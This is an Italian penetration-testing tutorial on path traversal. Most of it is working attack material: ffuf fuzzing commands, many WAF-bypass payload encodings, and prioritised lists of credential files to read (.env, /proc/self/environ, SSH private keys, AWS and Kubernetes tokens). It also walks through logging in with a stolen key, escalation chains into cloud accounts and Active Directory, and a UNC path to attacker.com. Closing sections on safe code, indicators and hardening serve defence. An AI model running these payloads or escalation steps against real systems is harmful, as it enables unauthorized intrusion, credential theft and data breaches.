Path Traversal: Cos’è, Payload, WAF Bypass e File Read nel Pentesting

Path Traversal nel pentesting web: payload, WAF bypass, lettura di /etc/passwd, .env e credenziali cloud. Guida pratica con fuzzing e exploitation.
- Pubblicato il 2026-03-18
- Tempo di lettura: 8 min
Il web server è configurato per servire file solo dalla document root — /var/www/html/ su Linux, C:\inetpub\wwwroot\ su Windows. Il Path Traversal rompe questa regola: usando la sequenza ../ (che in ogni sistema operativo significa “directory superiore”), l’attaccante risale l’albero delle directory fino al filesystem root e legge qualsiasi file accessibile dall’utente del web server.
È una vulnerabilità che sembra banale — “aggiungi dei puntini a un URL” — ma l’impatto è tutt’altro che banale. Un singolo ../../../proc/self/environ può contenere AWS_SECRET_ACCESS_KEY in chiaro. Un ../../../home/deploy/.ssh/id_rsa è accesso SSH diretto a ogni server. Un ../../../app/.env è il dump di tutte le credenziali dell’applicazione. Non stai “leggendo un file” — stai aprendo la cassaforte.
La trovo nel 20% dei pentest web — la vulnerabilità file-based più comune in assoluto. E nel 2026 la superficie è cresciuta: le API REST con endpoint di download documenti, i microservizi con file serving, i CDN con path rewriting. Ogni punto in cui un parametro referenzia un file è un potenziale vettore.
Satellite operativo della guida pillar File & Path Attacks.
Cos’è il Path Traversal? #
Il Path Traversal (o Directory Traversal) è una vulnerabilità in cui l’applicazione usa input dell’utente per costruire un percorso file senza validare che il percorso risultante resti all’interno della directory prevista. L’attaccante usa sequenze ../ (o varianti encoded) per navigare al di fuori della directory consentita e accedere a file arbitrari sul filesystem del server.
Il Path Traversal è pericoloso? Sì — permette di leggere qualsiasi file accessibile dall’utente del web server: credenziali database, chiavi SSH private, token cloud AWS/Azure/GCP, configurazioni con secret key, codice sorgente, dati personali. È il primo passo verso la compromissione completa del server e dell’infrastruttura cloud. Trovato nel 20% dei pentest web.
Dove Cercare — Identificare i Parametri Vulnerabili #
Il Path Traversal si nasconde in qualsiasi parametro che referenzia un file. Nei pentest, cerco questi pattern:
# Parametri comuni — GET
?file=report.pdf
?page=about
?doc=invoice_2026.pdf
?template=default
?lang=en
?path=documents/annual_report.pdf
?img=logo.png
?download=file.zip
?include=header
?view=dashboard
?module=users
?load=sidebar
# Parametri comuni — POST / JSON
{"file": "report.pdf"}
{"template": "invoice_template"}
{"path": "exports/data.csv"}
# Header
X-File-Path: reports/q4.pdf
Content-Disposition: filename="report.pdf"In Burp Suite, filtro il Site Map per questi parametri e li testo tutti. La regola è: se un parametro contiene un nome file o un path, testalo.
Fuzzing — Trovare il Path Traversal con ffuf #
Il fuzzing automatico è il modo più rapido per trovare Path Traversal su larga scala. Lo faccio su ogni engagement come primo step dopo la discovery.
Fuzz il valore del parametro #
# Wordlist Jhaddix — la più completa per LFI/traversal
ffuf -u "https://target.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-mr "root:x:" \
-o results.json
# La wordlist contiene centinaia di varianti:
# ../../../etc/passwd
# ....//....//....//etc/passwd
# ..%2f..%2f..%2fetc/passwd
# ..%252f..%252f..%252fetc/passwd
# etc.
# -mr "root:x:" filtra solo le response con contenuto di /etc/passwdFuzz per trovare QUALE parametro è vulnerabile #
# Se non sai quale parametro è il vettore
ffuf -u "https://target.com/page?FUZZ=../../../etc/passwd" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200 \
-mr "root:x:" \
-t 50
# Testa: file, page, path, doc, template, lang, include, load, view...
# Se uno risponde con "root:x:" → hai trovato il parametro vulnerabileFuzz su endpoint API #
# API REST con JSON body
ffuf -u "https://target.com/api/v2/files/download" \
-X POST \
-H "Content-Type: application/json" \
-d '{"path": "FUZZ"}' \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-mr "root:x:"Fuzz per Windows #
ffuf -u "https://target.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Windows.txt \
-mc 200 \
-mr "\[fonts\]" \
-t 50
# -mr "\[fonts\]" → match su contenuto di win.iniPayload Base — Test Iniziale #
Prima del fuzzing automatico, faccio sempre un test manuale veloce per capire se il parametro è vulnerabile e quale tipo di filtro c’è:
# === ROUND 1: Test diretto ===
?file=../../../etc/passwd # Il più semplice
?file=/etc/passwd # Path assoluto (niente ../)
# === ROUND 2: Bypass filtro strip di ../ ===
?file=....//....//....//etc/passwd # Dopo strip di ../ → ../../../
?file=....\/....\/....\/etc/passwd # Mixed separators
?file=..../....//....//etc/passwd # Extra dots
# === ROUND 3: URL encoding ===
?file=..%2f..%2f..%2fetc/passwd # / encoded
?file=%2e%2e%2f%2e%2e%2fetc/passwd # . e / encoded
?file=%2e%2e/%2e%2e/etc/passwd # Solo . encoded
# === ROUND 4: Double encoding ===
?file=..%252f..%252f..%252fetc/passwd # %25 = %, quindi %252f → %2f → /
?file=%252e%252e%252f%252e%252e%252fetc/passwd
# Se uno di questi restituisce il contenuto di /etc/passwd → confermatoOutput Reale — Ecco Come Si Presenta #
Request:
GET /api/files/download?path=....//....//....//etc/passwd HTTP/1.1
Host: target.com
Cookie: session=abc123Response (200 OK):
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1847
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/postgresql:/bin/bash
deploy:x:1000:1000:Deploy User:/home/deploy:/bin/bashCosa ti dice questo output:
www-data→ il web server gira come www-data (Apache/Nginx)mysqlepostgres→ ci sono database localideploycon shell/bin/bash→ utente reale, potenziale target per SSH keybackup→ potrebbe avere accesso privilegiato a file sensibili
WAF Bypass Avanzati — Quando i Payload Base Non Bastano #
Nel 2026, il 60%+ dei siti ha un WAF (Cloudflare, Akamai, AWS WAF, ModSecurity). I payload base vengono bloccati. Queste sono le tecniche che uso per bypassarli:
UTF-8 Overlong Encoding #
Il protocollo UTF-8 permette di rappresentare lo stesso carattere in modi diversi. I WAF decodificano la forma standard ma non sempre le forme “overlong” non standard:
# / (slash) in UTF-8 overlong
..%c0%af..%c0%afetc/passwd # 2-byte overlong di /
..%e0%80%af..%e0%80%afetc/passwd # 3-byte overlong di /
..%c1%9c..%c1%9cetc/passwd # Overlong alternativo di /
# . (dot) in UTF-8 overlong
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd # Overlong di ..Tomcat / Java Semicolon Trick #
Apache Tomcat e molti application server Java trattano il ; come separatore di path parameter — tutto ciò che segue ; fino al prossimo / viene ignorato dal server ma non dal WAF:
..;/..;/..;/etc/passwd # Tomcat ignora ";/" → diventa ../../../
..;x/..;x/..;x/etc/passwd # Con valore dopo ;
..;/..;/..;/etc/passwd%00 # Combinato con null byteDouble Encoding Avanzato #
# Double encode della slash
..%252f..%252f..%252fetc%252fpasswd # %252f → %2f → /
# Double encode del backslash (Windows)
..%255c..%255c..%255cwindows%255cwin.ini # %255c → %5c → \
# Triple encode (stack con proxy multipli)
..%25252f..%25252f..%25252fetc%25252fpasswdUnicode Fullwidth Characters #
I caratteri Unicode “fullwidth” sono versioni a larghezza piena dei caratteri ASCII. Alcuni server li normalizzano ai caratteri ASCII corrispondenti:
..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd # Fullwidth / (U+FF0F)
%e2%80%a5%e2%80%a5/etc/passwd # Two-dot leader (U+2025)
%e2%81%84 # Fraction slash (U+2044)Windows-Specific Bypass #
# Backslash
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini
# Double encode backslash
..%255c..%255cwindows\win.ini
# Mixed separators (il WAF cerca ../ ma il server accetta ..\)
..\/..\/..\/etc/passwd
# UNC path (se il server è Windows)
\\attacker.com\share\evil.txt
# 8.3 short filename (Windows legacy)
..\..\..\..\PROGRA~1\Bypass per Filtri Specifici #
# Se il filtro rimuove ../ una volta (non ricorsivo)
....// # Dopo strip → ../
....\/ # Mixed
..../ # Extra dot
# Se il filtro blocca /etc/passwd specificamente
../../../etc/./passwd # Con ./ (current dir)
../../../etc/passwd/. # Trailing /.
../../../etc//passwd # Double slash
../../../etc/passwd%00 # Null byte
../../../etc/passwd%0a # Newline
# Se il filtro richiede che il path inizi con una directory consentita
documents/../../../etc/passwd
images/../../../etc/passwd
uploads/../../../etc/passwd
# Se il filtro controlla l'estensione del file
../../../etc/passwd%00.pdf # Null byte truncation (PHP < 5.3.4)
../../../etc/passwd%0a.pdf # Newline prima dell'estensione
../../../etc/passwd/.pdf # Path confusionMini Workflow Reale — Come Faccio il Test in un Pentest #
Questo è il flusso esatto che seguo ogni volta che trovo un parametro file:
Step 1 → Identifica il parametro #
# Burp Suite: filtra Site Map per parametri con nomi file
# O: ffuf per trovare il parametro
ffuf -u "https://target.com/page?FUZZ=test" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200 -fs BASELINE_SIZEStep 2 → Test diretto #
?file=../../../etc/passwd
# Funziona? → Vai a Step 5
# Errore o pagina vuota? → Step 3Step 3 → Encoding base #
?file=..%2f..%2f..%2fetc/passwd # URL encode /
?file=....//....//....//etc/passwd # Bypass strip
# Funziona? → Vai a Step 5
# Bloccato? → Step 4Step 4 → WAF bypass avanzato #
?file=..%252f..%252f..%252fetc%252fpasswd # Double encode
?file=..%c0%af..%c0%afetc/passwd # UTF-8 overlong
?file=..;/..;/..;/etc/passwd # Semicolon (Tomcat)
?file=%2e%2e%2f%2e%2e%2fetc/passwd # Encode punti
?file=..%ef%bc%8f..%ef%bc%8fetc/passwd # Unicode fullwidth
?file=..%c1%9c..%c1%9cetc/passwd # Overlong alternativo
# Funziona? → Step 5
# Tutto bloccato? → Prova POST/JSON body (WAF spesso non controlla il body)Step 5 → Leggi i file di valore (in ordine di priorità) #
# 1. Conferma: /etc/passwd
# 2. Credenziali app
../../../app/.env
../../../var/www/html/config.php
../../../var/www/html/wp-config.php
../../../app/config/database.yml
../../../app/settings.py
# 3. Credenziali cloud
../../../proc/self/environ # AWS/Azure/GCP creds in env vars
../../../home/deploy/.aws/credentials # AWS access key
# 4. Accesso SSH
../../../home/deploy/.ssh/id_rsa # Chiave SSH privata
../../../root/.ssh/id_rsa
# 5. Kubernetes
../../../var/run/secrets/kubernetes.io/serviceaccount/token
# 6. History (password in chiaro nei comandi passati!)
../../../home/deploy/.bash_history
../../../root/.bash_history
../../../home/deploy/.mysql_historyStep 6 → Escalation #
# Se hai trovato credenziali DB → connettiti al DB → dump dati
# Se hai trovato AWS creds → aws sts get-caller-identity → S3/EC2/Lambda
# Se hai trovato SSH key → ssh -i id_rsa deploy@target.com → shell
# Se hai trovato K8s token → kubectl --token=TOKEN get pods → clusterFile Target — Output Reali #
/proc/self/environ (Cloud Credentials) #
# Request:
?file=../../../proc/self/environ
# Response:
HOSTNAME=web-prod-7b4d8f
HOME=/home/app
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
AWS_DEFAULT_REGION=eu-west-1
DATABASE_URL=postgresql://admin:Pr0d_P@ss!@db.internal:5432/appdb
SECRET_KEY=django-insecure-k8s-production-key-change-me-but-nobody-did
REDIS_URL=redis://redis.internal:6379/0Questo singolo file ti dà: credenziali AWS (accesso cloud completo), credenziali database, secret key dell’applicazione, hostname interni (mappa della rete).
.env (Application Credentials) #
# Request:
?file=../../../var/www/html/.env
# Response:
APP_NAME=MyApp
APP_ENV=production
APP_KEY=base64:x8K2jP+N3rFqm6Y2j...
APP_DEBUG=false
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_DATABASE=myapp_prod
DB_USERNAME=myapp_admin
DB_PASSWORD=Sup3r$ecr3t!2024
STRIPE_KEY=sk_live_51H7...
STRIPE_SECRET=whsec_...
MAIL_PASSWORD=smtp_p@ssw0rd.ssh/id_rsa (SSH Key) #
# Request:
?file=../../../home/deploy/.ssh/id_rsa
# Response:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBDK2VHqHcLsphEj3+qN3SB2+I0VE3Gz2yPjjcLnQmDMQAAAJi8cJpkvH
...
-----END OPENSSH PRIVATE KEY-----# Salva e usa:
echo "-----BEGIN OPENSSH..." > stolen_key
chmod 600 stolen_key
ssh -i stolen_key deploy@target.com
# → Shell interattiva sul server!🏢 Enterprise Escalation — Percorsi Reali #
Path Traversal → Cloud Compromise (5-15 minuti) #
Path Traversal → /proc/self/environ → AWS_ACCESS_KEY_ID + SECRET
→ aws sts get-caller-identity → conferma accesso
→ aws s3 ls → enumera 47 bucket
→ aws s3 cp s3://backup/ ./ → dump backup database
→ aws secretsmanager list-secrets → credenziali RDS, Redis, API
→ aws ec2 describe-instances → mappa infrastruttura completaPath Traversal → SSH → AD (15-60 minuti) #
Path Traversal → /home/deploy/.ssh/id_rsa → SSH access
→ ifconfig → rete 10.10.0.0/16
→ nmap 10.10.0.0/16 -p 389,88 → Domain Controller trovato
→ credenziali LDAP in /app/config → ldapsearch → enumera AD
→ password in campo description → Domain AdminPath Traversal → Source Code → Supply Chain #
Path Traversal → /app/settings.py → SECRET_KEY Django
→ forgia session cookie admin → admin panel
→ /app/.git/config → GitLab token → pipeline access
→ Pipeline injection → codice malevolo in produzione🔌 Variante API / Microservizi 2026 #
// GET parameter
GET /api/v2/documents/download?path=../../../proc/self/environ
// JSON body (spesso non controllato dal WAF!)
POST /api/v2/files/read
{"filepath": "../../../etc/passwd"}
// GraphQL
query { getFile(path: "../../../etc/passwd") { content } }
// Header-based
GET /api/v2/export
X-File-Path: ../../../app/.env
// Path parameter
GET /api/v2/files/../../../etc/passwdI WAF controllano i parametri GET ma spesso ignorano il JSON body — testa sempre entrambi.
Caso Studio Concreto #
Settore: Fintech SaaS, 200.000 transazioni, infrastruttura AWS EKS. Scope: Black-box.
Endpoint API /api/v2/docs/download?file=terms_of_service.pdf. Test ../../../etc/passwd → bloccato dal WAF Cloudflare. Double encoding ..%252f..%252f..%252fetc%252fpasswd → bloccato. Provo il JSON body:
POST /api/v2/docs/download
Content-Type: application/json
{"file": "../../../etc/passwd"}200 OK → root:x:0:0:root... → il WAF non controllava il body JSON.
Da lì, escalation rapida:
{"file": "../../../proc/self/environ"}→AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,DATABASE_URL- Con AWS creds →
aws s3 ls→ 47 bucket con dati finanziari - Con DATABASE_URL →
psql→ 200.000 transazioni con IBAN, importi, beneficiari {"file": "../../../var/run/secrets/kubernetes.io/serviceaccount/token"}→ token K8s →kubectl get secrets→ ogni secret del cluster
Tempo dal primo test al cloud access completo: 12 minuti.
Root cause: os.path.join() senza os.path.realpath() check, WAF configurato solo per GET params.
Errori Comuni Reali #
1. Path concatenation senza canonicalization (il pattern #1)
# ❌ VULNERABILE
filepath = os.path.join(BASE_DIR, user_input)
return send_file(filepath)
# ✅ SICURO
filepath = os.path.join(BASE_DIR, user_input)
filepath = os.path.realpath(filepath)
if not filepath.startswith(os.path.realpath(BASE_DIR)):
abort(403)
return send_file(filepath)2. Filtro non ricorsivo su ../ — rimuove ../ una volta ma non controlla il risultato → ....// diventa ../.
3. WAF solo su GET, non su POST/JSON — la maggior parte dei WAF ha regole deboli per il body JSON.
4. Validazione solo dell’estensione — verifica che il file finisca in .pdf ma non controlla il path.
5. Path traversal in header custom — X-File-Path, X-Template non validati.
Indicatori di Compromissione (IoC) #
../,..%2f,%252e%252e,%c0%af,..;/nei parametri URL nei log web- Request con risposta anomala (dimensione response diversa dal solito per quell’endpoint)
- Accesso a path di sistema (
/etc/,/proc/,/.env,/.ssh/) nei log - Sequenze di request dallo stesso IP che testano encoding diversi sullo stesso parametro
- Response con contenuto di tipo
text/plainda endpoint che normalmente servono PDF/immagini
✅ Checklist Finale — Path Traversal Testing #
PARAMETRI
☐ Identificati tutti i parametri che referenziano file (GET, POST, JSON, header)
☐ Testati sia GET che POST/JSON (WAF bypass)
TEST BASE
☐ ../../../etc/passwd (Linux)
☐ ..\..\..\windows\win.ini (Windows)
☐ /etc/passwd (path assoluto)
☐ ....//....//....// (bypass strip non ricorsivo)
ENCODING
☐ ..%2f (URL encode /)
☐ %2e%2e%2f (URL encode . e /)
☐ ..%252f (double URL encode)
☐ ..%c0%af (UTF-8 overlong /)
☐ ..%c1%9c (UTF-8 overlong alternativo)
☐ ..%e0%80%af (UTF-8 overlong 3-byte)
☐ ..%ef%bc%8f (Unicode fullwidth /)
☐ ..%255c (double encode backslash, Windows)
TECNICHE AVANZATE
☐ ..;/..;/ (Tomcat semicolon trick)
☐ Null byte %00 (PHP < 5.3.4)
☐ JSON body (WAF bypass)
☐ Path prefix: images/../../../etc/passwd
FILE LETTI (in ordine di priorità)
☐ /etc/passwd → conferma vulnerabilità
☐ /proc/self/environ → credenziali cloud
☐ /app/.env o /var/www/html/.env → credenziali app
☐ Config files (config.php, database.yml, settings.py)
☐ /home/USER/.ssh/id_rsa → SSH access
☐ /home/USER/.aws/credentials → AWS access
☐ /var/run/secrets/k8s/serviceaccount/token → K8s access
☐ /home/USER/.bash_history → password nei comandi
☐ /etc/shadow → hash (se root)
ESCALATION
☐ Credenziali cloud → aws/az/gcloud CLI → infrastruttura
☐ SSH key → accesso diretto → lateral movement
☐ DB credentials → dump database → data breach
☐ K8s token → kubectl → cluster secretsDetection & Hardening #
- Canonicalize e valida:
realpath()+ verifica che il path inizi con la directory consentita - Whitelist: se possibile, non accettare path liberi — usa ID numerici mappati a file (
?doc=12345→ lookup nel database) - chroot/sandbox: limita il filesystem accessibile dal processo web
- WAF su tutti i canali: GET, POST, JSON body, header custom
- Principio minimo privilegio: il processo web non deve poter leggere
.ssh/,.aws/,/etc/shadow - Monitoring: alert su request con
../,%2e%2e,%c0%afnei parametri
Satellite della Guida Completa File & Path Attacks. Vedi anche: LFI, Arbitrary File Read, Backup Exposure.
I tuoi endpoint servono file basandosi su parametri utente? Penetration test applicativo HackIta. Per padroneggiare il Path Traversal dall’encoding al cloud compromise: formazione 1:1.







